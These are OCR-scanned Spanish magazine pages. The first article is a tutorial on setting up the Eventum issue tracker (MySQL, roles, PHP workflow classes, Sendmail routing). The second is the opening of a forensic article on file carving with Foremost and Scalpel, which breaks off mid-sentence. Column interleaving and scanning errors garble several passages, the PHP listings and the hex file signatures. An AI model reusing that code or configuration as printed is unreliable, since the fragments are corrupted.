Eventum, que en nuestro caso es https://local-
host/eventum obteniendo con los datos de
acceso por defecto:

Loginadmin@example.com
Passowrd admin

El resultado es tal y como se muestra en la
Figura 1. No obstante, todos los aspectos con-
cernientes a la configuracién pueden modifi-
carse posteriormente mediante la edicién del
fichero config/config.php, de cara a utilizar
por ejemplo, una base de datos alternativa, o
cambiar la apariencia de las paginas HTML
servidas por Eventum de conformidad a la
Figura 1.

La primera actividad a realizar, sera la
modificacion de dicho usuario de administra-
cién. Para ello, dentro del ment de Adminis-
tracion, debera seleccionarse la opcion «Ma-
nage Users» o, bien, directamente, la URL
https://localhost/eventum/manage/users.php
mostrada en la Figura 2.

Estableciendo una nueva identidad y cla-
ve en funcién de nuestras necesidades.

Creacion de incidencias

y utilizacién basica

El proceso de creacion de incidencias en
Eventum es tan sencillo como llamar al 112.
Unicamente es preciso conectarse a Even-
tum con el usuario y clave previamente
definido por el administrador mediante un
navegador web y seleccionar el proyecto
afectado.

En la pantalla de la Figura 3 puede verse el
detalle de apertura de una nueva incidenciaen
la que debe seleccionarse los usuarios o gru-
pos afectados asi como la prioridad y en nues-
tro caso, el tiempo estimado de resolucion de
la misma.

Cuando se efectiia la creacion de una in-
cidencia, el estado inicial de ésta es especi-
fico de cada proyecto asi como las diferentes
prioridades que éste debe tener; en este caso,
el resumen de la incidenia abierta, aparece

Enter password:
Welcome to the MySQL monitor.
Your MySQL connection id is 5

mysgl> show databases

| information_schema |
| mysql |
| test |

3 rows in set (0.08 sec)

mysql> create database eventum;
Query OK, 1 row affected (0.-32 sec)

Listado 3. Creacion de la base de datos MySQL para Eventum

[root@laertes etc]# mysql -u root -h localhost -p

Commands end with ; or \g.

Server version: 5.0.77 Source distribution

Type "help;™ or "\h" for help. Type "\c" to clear the buffer.
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en la Figura 4. Los usuarios con el rol Repor-
ter, pueden establecer el estado y categoria
de la misma.

Otra caracteristica de interés es la ca-
pacidad de generacion de informes, de tal
forma que cuando una incidencia es abierta,
entra a formar parte del conjunto de infor-
mes por defecto incorporados en Eventum.
Dichos informes pueden ser accesibles de
forma generalizada para todos los usuarios
mediante la capacidad de «Anonymous Re-
porting» o restringida a un grupo concreto de
usuarios.

También es posible mediante la in-
tegracion del correo electrénico estable-
cer relaciones entre incidencias y correos
basandose en una referencia al numero
oticketde laincidencia ([#34]) en el campo
Asunto del correo. Para habilitar esta fun-
cionalidad, unicamente es preciso planifi-
car la funciéon download_mail en el cron
del usuario UNIX utilizado para Even-
tum.

Cuando una incidencia es creada a par-
tir de un correo, el estado inicial por defec-
to sigue siendo el especifico de cada pro-
yecto en tanto que la categoria y prioridad
estan definidas por el usuario con el rol de
Manager mediante la operaciéon «Auto-
creation of issues» del meni «Manage
email».

Seguimiento de incidencias

Una vez tenemos nuestra incidencia abier-
ta, podemos realizar su seguimiento selec-
cionando o bien el boton [Reply] ubicado

en la parte inferior de la primera seccion

o mediante el icono Reply ubicado en la sec-
cién dedicada a notas o correos asociados.
Alternativamente, los botones [Send Email]
o [Post Internal Note], proporcionan idén-
tica funcionalidad.

No es recomendable por otro lado utili-
zar en el tratamiento de incidencias sistemas
de mensajeria alternativos a Eventum por
razones de seguridad y trazabilidad de la inci-
dencia, ya que el propio sistema se ocupa de
seleccionar todos los aspectos relacionados
con la gestion de ésta.

Una vez alcanzado el estado final de una
incidencia, su estado puede establecerse a «Clo-
sed context» a partir del panel de Adminis-
tration/Manage Statuses. Por defecto, las in-
cidencias en el seno de un proyecto Eventum
poseen tres estados:

e Released (develop), que indica que se ha
modificado algin aspecto relacionado
con un documento, codigo, hardware y
ha sido posteriormente liberado.

e Killed (develop), que indica que no se ha
realizado ningln cambio o accién para
resolver la incidencia.

¢ Resolved (support), mediante el cual se
indica al usuario final que el problema
ha sido solventado mediante la realiza-
cion de una accion.

La granulidad de los estados de una inciden-
cia puede ampliarse dentro de un proyecto
en funcion de las necesidades del mismo
mediante la intervencion del administrador
de Eventum o el usuario que detente el rol de
Manager en un proyecto concreto.
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Recepcion de notificaciones

Los correos enviados con motivo de un ci-
clo de vida de resolucién de incidencias son
gestionados mediante la ejecucion planifi-
cada de process_mail_queue en el crontab
del usuario UNIX asociado. Dichos mensa-
jes utilizan plantillas almacenadas en el
subdirectorio templates/notifications don-
de se ha instalado la aplicacion Eventum.
Estas notificaciones son enviadas a los
usuarios que figuran en la Notification List
cuando se alcanza alguna de las siguientes
condiciones:

e El usuario no ha completado ninguna
informacion sobre una incidencia.

* El usuario ha configurado sus preferen-
cias personales para recibir notificaciones
cuando se detecte un evento concreto.

e El usuario ha informado la incidencia
mediante correo electronico o la crea-
cion de una incidencia bien sea de forma
manual o automatica.

e La direccion de correo del usuario esta
incluida en copia (campo CC) en el co-
rreo que ha creado una incidencia.

* La incidencia ha sido creada por algiin
usuario para recibir notificacion sobre una
determinada accién a realizar bien sea
por actualizacion (update), cierre de la
misma o modificacion de su estado.

Gestion de proyectos

Una vez realizadas las modificaciones sobre el
usuario de administracion, es el momento de
iniciar nuestra adaptacion de Eventum a nues-
tras necesidades. Eventum admite la posibi-
lidad de gestionar diferentes proyectos, cada
uno de ellos, con un grupo de usuarios dife-
renciado, de tal forma que puede ser utiliza-
do, como se ha explicado.

Dentro del menti de Administracion, sele-
ccionar la opcion «Manage Projectsy ubicada
en el panel izquierdo de la pagina y cumpli-
mentar los siguientes campos que aparecen
en la Figura 5.

e Titulo: es el nombre que se le dara al
proyecto de gestion de incidencias.

* Status: define la visibilidad frente a los
usuarios y puede ser Active o Archived.

e Customer Integration Backend si se ha
definido un backend para procesar las
incidencias de cliente, es preciso realizar
su seleccion.

*  Workflow Backend, también es posible
definir un flujo de trabajo caracteristico
de un proceso concreto.
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Figura 3. Creacion y asignacion de incidencias en Eventum

*  Project Lead, el administrador del pro- como graficos circulares que ilustran temas
yecto que puede ser un usuario eventum como porcentajes de cumplimiento de plazos,
creado previamente en la aplicacion.

e Usuarios, a los cuales este proyecto re- tar el seguimiento de las mismas y todo ello,
sultard accesible. particularizado para cada uno de los usuarios

* Statuses, define los estados en los que 0 grupos involucrados en un proyecto espe-
puede encontrase una incidencia abierta cifico.
en Eventum.

» Initial status for new issues, define el Reporters hace que los usuarios con el rol
estado inicial que tendran las incidencias
al iniciarse.

de tratamiento de incidencias de cara a facili-

En este sentido, la opcion Segregate
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de Reported unicamente puedan ver las in-
cidencias abiertas por ellos, ocultando la
informacion proveniente de otros usuarios
asi como la generacion de estadisticas de
servicio, que es la situacion normal de los
usuarios finales de un centro de atencion
al cliente (CAC).

Creacion de usuarios y grupos

Dentro de cada proyecto, puede procederse
a la definicion de nuevos usuarios a partir
del menti de Administracion mediante la op-
cion «Manage Users» tal y como se muestra
en la Figura 6.

Posteriormente estos usuarios pueden
repartirse en grupos que deberan ser creados
mediante la opcién «Manage Groups» del
menu de Administracién. Dicha asignacion
de usuarios puede ser multiple; es decir, cabe
la posibilidad de tener un mismo usuario defi-
nido en varios proyectos simultdneamente tal
y como refleja la Figura 7.

Preferencias de usuario.

Soporte multilenguaje (NLS)

Eventum permite también laselecciény con-
figuracion por parte del cliente de un com-
pleto conjunto de preferencias, gestionadas
por el script https://localhost/eventum/pre-
ferences.php como la seleccion del idioma
a utilizar en la interfaz cliente tal y como
aparece en la Figura 8. Los parametros con-
figurables son:

#1 - Oracle database cannot start proparly - Eventum - Morilla Firefax
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enviados por Eventum.
Una opci6n interesante y no descrita aqui
es Remote Invocation, que permite a desarro-

lladores utilizar la interfaz de linea de coman-
dos o CLI para recabar informacion gestiona-
da por Eventum sin necesidad de recurrir a un
navegador web.

Para cada uno de los proyectos creados,
es posible también definir afladir categorias,
prioridades de resolucién de incidencias, asf
como diferentes numeros telefonicos de con-
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de Eventum, ya que disponemos tanto de la

capacidad de generacién de informes escritos F19Ura 4. Detalle de la incidencia abierta en Eventum
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Figura 5. Creacion de un nuevo proyecto Eventum

¢ Seleccion de idioma,
*  Huso Horario,
»  Comienzo de la semana, en domingo o en
lunes, Gestion avanzada de proyectos
»  Tasade refresco en la lista de incidencias, Dentro de cada proyecto gestionado por
» Tasa de refresco en la lista de correos re- Eventum, estan definidas por defecto las
cibidos. siguientes operaciones para cada uno de los
usuarios adscritos:

como la recepcion de correos via SMS que no
se va a abordar en el presente articulo.

Incluso es posible definir para cada usuario
Edit Releases OPTIONAL,
Edit Categories REQUIRED,

concreto su firma adjunta a los correos electré-
nicos por él emitidos y capacidades avanzadas
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«  Edit Priorities REQUIRED,

«  Edit Phone Support Categories
OPTIONAL,

*  Anonymous Reporting OPTIONAL,

»  Edit Fields to display OPTIONAL,

»  Edit Columns to display OPTIONAL.

Durante el proceso de creacién de usuarios,
como se recordard, uno de los aspectos a defi-
nir son los roles asignados a los mismos:

Viewer

Unicamente pueden conectarse, actualizar
sus preferencias personales y visualizar las
incidencias. Cualquier alteracion de las inci-
dencias gestionadas les esta vetada.

Reporter

Considerados como usuarios finales; esto es,
con capacidad para abrir incidencias, pero
excluidos del proceso de solucion de las
mismas.

Customer

Esel rol més restrictivo, ya que puede abrir
incidencias pero inicamente puede visua-
lizar las incidencias abiertas por el mismo,
teniendo incluso campos ocultos. Este rol
estd concebido para su adaptacion poste-
rior y requiere la utilizacion del API Cus-
tomer.

Standard User

Los usuarios con este rol pueden participar
en el ciclo de solucion de las incidencias, ac-
ceder a foros y discusiones internas pero no
pueden modificar ninguna opcién de confi-
guracion.

Developer

Amplia las capacidadeacha, oks del rol de
Standard User, pero con acceso a las capacida-
des de cronometraje, pudiendo enviar eventos
(triggers) de recuerdo y cambiar el estado de
una incidencia a Private, cosa que un usuario
estandar no puede hacer.

Manager

Este rol otorga acceso a la casi totalidad de
opciones de configuracion, incluidas las lis-
tadas en la opcién de «Areas» dentro de la
pagina de Administracion.

Administrator

Es el rol equivalente al del superusuario
Eventum. Los usuarios que detentan este
rol, pueden ver una seccion adicional de
«Configuraciéon» dentro del panel de ad-
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ministracion que cubre aspectos como la
gestion de correo electrénico, creacion de
campos de cliente adicionales y otros.

La seleccion de los roles adecuados
para los diferentes usuarios que forman
parte de un proyecto Eventum de gestion
de incidencias junto con la creacién de
flujos de trabajo o ciclos de vida (lifecy-
cles), constituiran el ultimo paso en la con-
figuracion y puesta en marcha de esta ap-
licacion.

Programacion de ciclos

de vida de incidencias

El modelo por defecto de ciclo de vida
representativo del flujo de trabajo de una
incidencia puede alterarse segun las necesi-
dades de un proyecto concreto de una forma
muy sencilla. Vamos a analizar tres sencillos
ejemplos al respecto:

Feature Request
discovery -> killed(won™t

Listado 4. Descripcioe fichero class.my_wf.php

<?php

$location);

require_once(APP_INC_PATH . "workflow/class.abstract
workflow backend.php");

class <name> Workflow Backend extends Abstract Workflow Backend

/** Funciones definidas para nuestro ciclo de vida **/
function handlelssueUpdated($prj_id, $issue_id, $usr_id,
$old_details, $changes);
function handleAssignment($prj_id, $issue_id, $usr_id);
function handleAttachment($prj_id, $issue_id, $usr_id);

function getlssueFieldsToDisplay($prj_id, $issue_id,

Listado 5. Detalle de la funcién handleNewEmail

/**

*

it ($closing)
echo " closing";

echo " Email<br />\n";

function handleNewEmail ($prj_id,

echo "My Workflow for Linux+:

* Called when a new message is recieved.

object $message An object containing the new email

* @param integer $prj_id The projectID

* @param integer $issue_id The ID of the issue.

* @param

* @param array $row The array of data that was inserted
into the database.

* @param boolean $closing If we are closing the issue.

*/

$issue_id, $message,
$row = false, $closing = false)

New" ;

www.lpmagazine.org

fix, suspended, not fixable,duplicate)
|

requirements -> killed(as above)

|

implementation

|

testing

|

release (fixed)

Bug report

discovery - killed(not a bug,
wont fix, cant fix, duplicate, can't
reproduce)

|

requirements - killed(wont fix)

|

implementation

|

testing -> [maybe back to discovery
again ]

|

release (fixed)
Techsupport

discovery

|

testing -> [convert to bug report
if bug]

|

resolved (question answered,fixed)

Puede verse que en definitiva, un ciclo de vi-
da en Eventum no es mas que un diagrama de
estados finito en el que aparecen los estados
frente a las posibles alternativas de solucion
entre paréntesis.

Eventum proporciona una API destinada
a proporcionar la funcionalidad necesaria
para programar ciclos de trabajo especifi-
cos a un entorno o empresa. Como suele
ser habitual en desarrollos OpenSource, la
forma mas eficaz de aprender consiste en
proceder al estudio de los ejemplos propor-
cionados. Asi, un ejemplo de extension de

D

Acrénimos y abreviaturas

ALM Application Lifecycle
Management

API  Application Programming
Interface

CLI  Command Line Interface
DSO Dynamic Shared Object
FAQ Frecuently Asked Questions
LAMP Linux-Apache-MySQL-PHP
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Como requisito previo, debemos asegu-
rarnos que tenemos instalado el sistema de
configuracion de Sendmail para actualizar
su configuracién. En sistemas GNU/Linux
que utilizan la distribucion de paquetes
RPM esto se puede verificar mediante el
comando:

Msoellanean ~ Outine « [ CResize
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$ rpm -q sendmail-cf
sendmail-cf-8.14_2-4_fc9.i386

Ademas, si tenemos la base de datos de usua-
rios virtuales en Sendmail, debemos actua-
lizar el fichero /etc/mail/virtusertable
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Figura 7. Gestién de grupos de usuarios en Eventum

la clase Abstract Workflow Backend, S€
encuentra en el directorio:

include/workflow/class.example.php

De este modo, podemos ilustrar el proceso
a seguir para crear un nuevo flujo de trabajo
mediante la sobrecarga. Para ello, creamos
un fichero PHP con el nombre class.
<nombre>.php en el directorio include/
workflow. EN nuestro caso vamos a crear el
fichero class.my_wf._php cuyo contenido
se detalla en el Listado 4.

Como ejemplo, la adaptacion mediante
sobrecarga de la funcién destinada a ges-
tionar un nuevo envio de correo en nuestro
flujo de trabajo seria tan simple como escri-
bir el codigo detallado en el Listado 5.

Como puede comprobarse, cada una de
las funciones a programar dentro de un flujo
de trabajo, depende como minimo de un iden-
tificador de proyecto (projID), por lo que pos-
teriormente, es preciso asignar como admi-
nistrador, la clase de flujo my wf defini-
da previamente a un proyecto Eventum
concreto.

Configuracion del correo
mediante MTA Sendmail

Como colofén a este articulo, vamos a proce-
der a explicar los aspectos basicos de confi-
guracion de los servicios de correo electroni-
co de Eventum. Para ello, es necesario utilizar
las siguientes opciones en el ment «General
Setup» de la pagina «Administration».

« Email Routing Interface:

e Address Hostname:

e Warn Users Whether They Can Send

campos separados por tabuladores y no
por espacios. Una vez hecho esto, es pre-
ciso reconstruir de nuevo la tabla de usua-
rios virtuales como superusuario mediante

Enabled. el comando:

* Recipient Type Flag:

[doesn't matter, choose any].
*  Email Address Prefix:
eventum_issues+

# make -C /etc/mail

Con ello, se consigue redireccionar todos
los correos resultantes de las incidencias
eventum de la forma eventum_issues+ddd@
example.com a una cuenta de correo deno-
minada eventum_issues en nuestro servidor

[the domain name of the email
address issues should be sent to].

Emails to Issue:
[doesn't matter, choose any].

de correo, que puede ser consultada a fin de
aumentar nuestro conocimiento sobre las
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actividades involucradas en la resolucion
de incidencias.

Adicionalmente, si deseamos utilizar un
mapeo de ladireccion de correo issue+xxx@
example.com a la direccion mi_cuenta@
example.com, Unicamente debemos afiadir
una entrada en el fichero /etc/mail/aliases de
la forma:
issue+*: mi_cuenta
Esta configuracion, de caracter basico, pue-
de y debe ajustarse a las exigencias de los
modelos de proyecto y flujos de trabajo que
deseemos implantar para cubrir nuestras
necesidades.

Conclusiones finales

De una forma esquematica, hemos intentado
presentar la aplicacion Eventum como una
alternativa, agil, econdmica y extremada-
mente adaptable para la gestion de inciden-
cias de cualquier indole dentro del paradig-
ma de aplicaciones LAMP (Linux-Apache-
MySQL-PHP). Su gran potencia y versatili-
dad radica en el empleo de software Open-
Source asi como la existencia de un modelo
de negocio ofertado por MySQL AB que per-

D

Enlared

e http://www.php.net
PHP Main Site,

*  http://www.apache.org
The Apache Project Site,

e http://mww.mysql.org
MySQL Main Site,

¢ http://www.software-pointers.com/
en-defecttracking-tools.html
Directorio herramientas gestion de
incidencias.

mite a las empresas que lo necesiten, contar
con una asistencia técnica.

Hay no obstante un aspecto sobre la
seleccion del idioma en la aplicacién a lo
largo de este articulo. A fin de facilitar la
comprensién de la terminologia usada en
la gestion de incidencias, me he tomado la
libertad de utilizar por defecto la termino-
logia original de los autores, naturalmente
en inglés. No obstante, y como ya hemos
explicado, Eventum no solamente permite
trabajar con caracteres multibyte para dar
cobertura a otros idiomas ajenos al nues-
tro, sino que desde el lado cliente, cada
usuario tiene la potestad de seleccionar su
idioma de trabajo.

Debido a los limites de este articulo, he-
mos omitido la explicacion de capacidades
adicionales como la posibilidad de implemen-
tar un foro donde publicar FAQs internas, ge-
neracion avanzada de informes asi como la
programacion mediante el API de Eventum.
No obstante y a pesar del estado incipiente
en el que se encuentra la documentacion de
Eventum en el momento actual, animamos
a los usuarios interesados a participar en su
actualizacion. &

D
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n el presente articulo se expondra el “tallado
de archivos” o File Carving, la descripcion de
las principales herramientas disponibles que
existen y algunas aplicaciones practicas.

File Carving o en espafiol “Tallado de archivo”, o algunas
veces simplemente denominado “tallado”, es la practica de
buscar en una entrada por archivos u otro tipo de objetos
basado en el contenido, en lugar de los metadatos; se debe
recordar que los metadatos no son nada mas que datos sobre
datos y que juegan importantes roles en computo forense. El
tallado de archivos es una poderosa herramienta para recu-
perar archivos o fragmentos de archivos cuando las entradas
estan dafiadas o perdidas, como puede ser el caso de archi-
Vvos antiguos que han sido eliminados o cuando se realiza un
anélisis sobre un medio dafiado. El tallado de la memoria es
una herramienta Util para analizar la memoria virtual y fisica
cuando las estructuras de la memoria son desconocidas.
Como se ha mencionado, el tallado de archivos se refiere
a la habilidad de recuperar archivos desde un medio el cual
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Foremost & Scalpel:

Herramientas de recuperacion
de archivos

Alonso Eduardo Caballero Quezada
Foremost & Scalpel son dos programas open source basados en GNU/Linux
para recuperacion de archivos eliminados. Scalpel esta basado originalmente
en Foremost, sin embargo es significativamente mas eficiente que éste. Ambos
programas utilizan un archivo de configuracion para especificar las cabeceras

y pies de los tipos de archivos a recuperar, permitiendo buscar en la mayoria de
datos sin preocuparse en el formato.

.

puede o no ser de un sistema de archivos reconocido. Se re-
ferencia de manera comun a la extraccion de archivos desde
el espacio sin asignar o espacio de holgura de un sistema de
archivos dado. Los archivos son espacio en disco asignados
en varios bloques del sistema de archivos. El espacio de hol-
gura se refiere al espacio sin utilizar dentro del ultimo bloque
asignado al archivo. Este espacio cae entre el dltimo byte
de datos del archivo y el final del bloque asociado a éste.
De esta manera debido a que los archivos no terminan exac-
tamente en los limites de un bloque, éste excede el espacio
que puede ser utilizado para almacenar datos en el sistema de
archivos.

Los programas de tallado de archivos leen una base de
datos de cabeceras y pies, los cuales son cadenas de bytes en
desplazamientos predecibles, y buscan una o mas imagenes
de disco objetivos por ocurrencias de las cabeceras y pies.
El objetivo es identificar las ubicaciones de inicio y final de
archivos en la imagen del disco y tallar (copiar) secuencias
de bytes en archivos regulares.

Muchos programas de tallado tienen la opcion para
buscar solamente cerca o en los limites donde se encuentran
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las cabeceras. Sin embargo, buscando en la en-
trada completa se pueden encontrar archivos
que han sido incorporados a otros archivos, ta-
les como JPEGs que han sido incorporados en
documentos Microsoft Word. Esto puede ser
considerado una ventaja y una desventaja, de-
pendiendo de las circunstancias. En la actuali-
dad la mayoria de programas de tallado recupe-
ran archivos que son contiguos sobre el medio.

Siguiendo las buenas practicas del computo
forense, el tallado de archivos debe de realizar-
se en una imagen de un disco, en lugar del disco
original. El tallado de archivos es una técnica
especialmente poderosa debido a que los archi-
vos pueden ser recuperados desde imagenes en
bruto de discos, sin relacion al tipo de sistema
de archivos.

El tallado de archivos es un aspecto esen-
cial del computo forense y es un &rea un poco
descuidadaenel desarrollode nuevasherramien-
tas forenses. El tallado de archivos tienen un
gran impacto en los casos de computo forense
debido a que afiade flexibilidad al ser capaz
de diseccionar la informacion almacenada in-
dependientemente de cualquier estructura sub-
yacente del sistema de archivos.

Antes de presentar dos importantes pro-
gramas para el tallado de archivos, creo con-
veniente detallar el tema referente al formato
de archivo.

Un formato de archivo es una manera particu-
lar en que la informacién es codificada en un
archivo para el almacenamiento en una com-
putadora.

Algunos formatos de archivos estan dise-
fiados para almacenar un orden muy particular
de datos: el formato JPEG, por ejemplo esta
disefiado sdlo para almacenar imagenes foto-
graficas estaticas. Otros formatos de archivos,

sin embargo, estan disefiados para almacenar
diferentes tipos de datos: el formato GIF sopor-
ta imagenes y animaciones simples, y el forma-
to Quicktime puede actuar como un contenedor
para diferentes tipos de multimedia. Un archivo
de texto es simplemente aquel en donde alma-
cenaalgun texto, en un formato tal como ASCII
0 UTF-8, con pocos o ningln caracter de con-
trol. Algunos formatos como HTML, o el c6digo
fuente de algunos lenguajes de programacion
particulares, son de hecho también archivos de
texto, pero afladen reglas mas especificas, las
cuales permiten que éstos sean utilizados para
propositos especificos.

La mayoria de formato de archivos, inclu-
yendo algunos de los més conocidos, tienen un
documento de especificacion publicado (algu-
nas veces con una referencia de implementa-
cion), éste describe de manera exacta como
son codificados los datos, y cuales pueden ser
utilizados para determinar si un programa par-
ticular trata de manera correcta o no un formato
de archivo particular. Existen sin embargo dos
razones para las que no siempre se da el caso.

seguridad
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La primera es que algunos desarrolladores de
formato de archivos ven sus documentos de es-
pecificacion como secretos comerciales, y por
lo tanto no lo liberan al plblico. Segundo, al-
gunos desarrolladores de formato de archivos,
nunca dedican tiempo para escribir un docu-
mento de especificacion separado; sino que, el
formato es definido de manera implicita, a tra-
vés de programas que manipulan datos en el
formato.

En la parte correspondiente a las referen-
cias del presente articulo, se puede ubicar un
enlace donde se pueden obtener los documen-
tos de especificacion para los diferentes forma-
to de archivos.

Un método popular utilizado por muchos siste-
mas operativos es determinar el formato del ar-
chivo en base a la seccién del nombre que esta
a continuacion del punto. Esta porcion del
nombre de archivo es conocido como la ex-
tension del archivo. Pero en el tema forense
sabemos que esto no es confiable.

Una segunda manera de identificar el for-
mato de un archivo esté relacionada a la infor-
macion almacenada del formato dentro del
archivo mismo. Usualmente tal informacion
es escrita en una (0 mas) cadenas binarias con
etiquetas o texto en bruto colocados de mane-
ra fija, en ubicaciones especificas dentro del
archivo. Debido a que el lugar mas facil para
ubicarlos es en el inicio, tal area se denomina
usualmente la cabecera del archivo, cuando es
superior a unos pocos bytes 0 un nimero ma-
gico si es solo de unos pocos bytes de lon-
gitud.

Primero que nada, los metadatos conteni-
dos en la cabecera del archivo no son almace-
nados necesariamente sélo al inicio de és-

Parte final del archivo audit.txt generado por Foremost
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te, pueden estar presentes también en otras
areas, con frecuencia incluyendo el final del
archivo. Archivos que se basan en caracteres
(texto) tienen cabeceras comprensibles por hu-
manos basadas en caracteres, mientras que los
formatos binarios usualmente tienen la caracte-
ristica de cabeceras binarias, aunque esto no es
un regla: la cabecera de archivo comprensible
por un humano puede requerir mas bytes, pero
es facilmente discernible con editores de tex-
to simple o hexadecimales. Las cabeceras de
los archivos pueden no solamente contener la
informacion requerida por los algoritmos para
identificar inicamente el formato del archivo,
también metadatos reales sobre el archivo y su
contenido. Tales metadatos pueden ser utiliza-
dos por un programa lector o intérprete de archi-
VoS, ya sea durante el proceso de carga o des-
pués de éste, pero también puede ser utilizado
por el sistema operativo para capturar de mane-
ra rapida informacion del archivo sin cargarlo
completamente en memoria.

Las desventajas de las cabeceras del archi-
vo como método de identificacion del formato
del archivo son al menos dos. El primero, al
menos algunos bloques (iniciales) del archi-
VO necesitan ser leidos para poder obtener tal
informacion; éstos pueden pueden estar frag-
mentados en diferentes ubicaciones en el mis-
mo medio de almacenamiento, lo cual requiere
més tiempo de blsqueda y de E/S, lo cual es
especialmente malo para la identificacion de
grandes cantidades de archivos juntos (como
navegar visualmente dentro de una carpeta
con miles 0 més archivos y discernir iconos
0 miniaturas de todos ellos para visualizar). Se-
gundo, si la cabecera es dificilmente codificada
en binario (es decir la cabecera por si misma
esta sujeta a una interpretacion no trivial a fin
de ser reconocida), especialmente para proteger
bien el contenido de los metadatos, ya que exis-

te algun riesgo de que el formato de archivo sea
mal interpretado a primera vista, o incluso mal
escrito en la fuente, resultando algunas veces
en metadatos corruptos (lo cual, en casos ex-
tremadamente graves, podria hacer el archivo
ilegible).

A continuacion se detallan las dos herra-
mientas mas reconocidas para realizar File Car-
ving o tallado de archivos.

Foremost es un programa en consola para re-
cuperar archivos en base a sus cabeceras, pies,
y estructuras internas de datos. Este proceso
de manera comun se referencia como tallado
de datos.

Foremost ha sido desarrollado por Jesse
Kornblum y Kris Kendall cuando servian en
la Air Force Office of Special Investigations.
Originalmente se disefi6 para imitar la funcio-
nalidad del programa basado en DOS carvthis
del Defense Computer Forensics Laboratory,
y éste gano popularidad entre los investigadores
de la Fuerza Aérea, y eventualmente fue distri-

buido al pablico general. Se publicé en el afio
2000, y su méas importante actualizacién se
liber6 en 2005 cuando Nick Mikus se unid al
proyecto.

Foremost trabaja leyendo en la memoria
una porcién del medio o imagen del medio; ta-
les como los que se generan con dd, Safeback,
EnCase, etc. Foremost realiza todas las opera-
ciones de tallado durante una pasada “simple”
sobre la imagen del disco, leyendo la imagen
del disco en trozos (el tamafio por defecto es
10MB). Cuando Foremost descubre una ca-
becera en el trozo actual, determina si el trozo
actual contiene datos suficientes mas alla de la
cabecera para acomodar el tamafio méaximo
de tallado para algun tipo de archivo. Si no,
se realiza una lectura adicional en disco para
construir en memoria un buffer, la cabecera
y suficientes datos para acomodar el tamaio de
tallado méximo para algun tipo de archivo. Si
el tipo de archivo correspondiente a la cabecera
tiene un pie definido, se realiza una busqueda
para descubrir el pie correspondiente en el bu-
ffer. Si es encontrado el pie, la porcién del bu-
ffer entre la cabecera y el pie es escrito a un ar-
chivo y la operacién de tallado para este archi-
vo se completa. Para tipos de archivos con un
pie no definido, se escribe el buffer completo.
Una vez que la operacion de tallado es comple-
tada, el buffer es descartado y el procesamiento
continua de manera secuencial solamente des-
de la posicion de la cabecera descubierta.

Las cabeceras y pies pueden ser especifica-
dos por un archivo de configuracion o se puede
utilizar la linea de comando para especificar
tipos de archivos incorporados. Estos tipos de
archivos incorporados miran las estructuras
de datos de un formato de archivo dado, lo
cual permite una recuperacion mas confia-
ble y répida. Finalmente se debe mencionar
que debido a dificultades de programacion,
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foremost esta limitado a procesar archivos
menores de 2GB.

Foremost puede ser obtenido desde su pagina
oficial, listada en la seccion Referencias del
presente articulo; la versién mas reciente es la
1.5.6. Se procede a su descarga e instalacion.

# wget http://foremost.
sourceforge.net/pkg/foremost-
1.5.6.tar.gz

# tar xzvf foremost-1.5.6.tar.gz
# cd foremost-1.5.6

# less README (Sugiero siempre su
lectura)

# make

# make install

El archivo de configuracién es utilizado
para controlar qué tipos de archivos buscara
Foremost. Un ejemplo del archivo de confi-
guracion por defecto foremost.conf, se incluye
con esta distribucién. Para cada tipo de archivo,
el archivo de configuracion describe la exten-
sién del archivo, la cabecera y pie sensibles
a mayusculas, el tamafio maximo del archivo,
ademas de la cabecera y pie del archivo. El
campo del pie es opcional, pero no lo son, la
cabecera, el tamafio, la sensibilidad de mayuUs-
culas, y extension.

Cualquier linea que inicie con un “#” es
considerada un comentario y es ignorado. Por
lo tanto para evitar un tipo de archivo solamen-
te se debe colocar un “#” al inicio de la linea.

Las cabeceras y pies son decodificadas
antes de ser utilizadas. Para especificar un va-
lor en hexadecimal se debe utilizar \x[0-f][0-f],
y para utilizar octal \[1-9][1-9][1-9]. Los espa-

cios pueden ser representados por \s. Por ejem-
plo: “x4F\123\IsCCI” se decodifica a "OSI
CCI”. Para coincidir cualquier caracter simple-
mente se utiliza un “?”(a.k.a. un comodin). Si
se necesitara buscar el caracter “?”, es necesa-
rio cambiar la linea “comodin” y cada ocurren-
cia del antiguo carécter comodin en el archivo
de configuracion. No se debe de olvidar que
los valores hexadecimal y octal de “?”es igual
a 0x3F y \063.

Si se desea extraer archivos sin una exten-
sion se debe ingresar el valor “NONE”, en la
columna de la extension (nota: se puede cam-
biar este valor de esta opcion “no suffix” con-
figurando la variable FOREMOST NOEX-
TENSION_SUFFIX en el archivo foremost.h
y procediendo a compilar nuevamente).

La opcion ASCII extraera todos los ca-
racteres ASCII que pueden imprimirse antes
y después de la palabra clave proporcionada.

La palabra clave NEXT después de un
pie instruye a Foremost a buscar hacia ade-
lante datos que inicien con la cabecera pro-
porcionada. Los datos del pie no son inclui-
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das en la salida. Los datos en el pie, cuando
son utilizados con la palabra clave NEXT
permiten efectivamente la blsqueda de datos
que se sabe con seguridad no deben estar en
el archivo de salida. Este método por ejemplo
permite que se busquen dos cabeceras de
“inicio” en un documento que no tiene un
buen pie final y no se puede decir exactamen-
te, cual pie es, pero se conoce que si se ve otra
cabecera, ésto puede finalizar la busqueda
y se escribird un archivo de salida.

A continuacién un conjunto de ejemplo
de cabeceras y pies:

# Extensién / Sen-Mayusculas /
Tamafio / Cabecera / Pie
# GIF and JPG files (very common)
# (NOTE THESE FORMATS HAVE
BUILTIN EXTRACTION FUNCTION)
gif y 155000000
\X47\x49\x46\x38\x37\x61
\Xx00\x3b
gif y 155000000
\X47\x49\x46\x38\x39\x61
\Xx00\x00 \x3b
Jjpg y 20000000
A\XxFRXd8\xF\xe0\x00\x10
\xF\xd9

Nota: “Option” u Opcién en espaiiol, es un
método para especificar opciones adiciona-
les. Estas opciones son las siguientes:

*  FORWARD: especifica la busqueda des-
de la cabecera hasta el pie (opcional)
hasta el tamafio maximo.

+ REVERSE: especifica la busqueda des-
de el pie hasta la cabecera hasta el tama-
fio méximo.

* NEXT: especifica la busqueda desde la
cabecera de datos justo después del pie.

@ i
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Vista en miniaturas de algunos archivos tallados con Foremost

Esto permite especificar datos que se sa-
ben “NO” son los datos que se estan bus-
cando, hasta el tamafio maximo.

Scalpel es un poderoso tallador de archivos
que lee una base de datos de definiciones de
cabeceras y pies para extraer los archivos
coincidentes desde un conjunto de archivos
de imagen o archivos de dispositivo en bruto.
Scalpel es independiente al sistema de archi-
vos y puede tallar archivos de particiones FA-
Tx, NTFS, ext2/3 o particiones en bruto. Es util
ya sea para investigacion en analisis forense
como en recuperacion de archivos. Scalpel es
el resultado de haber vuelto a escribir comple-
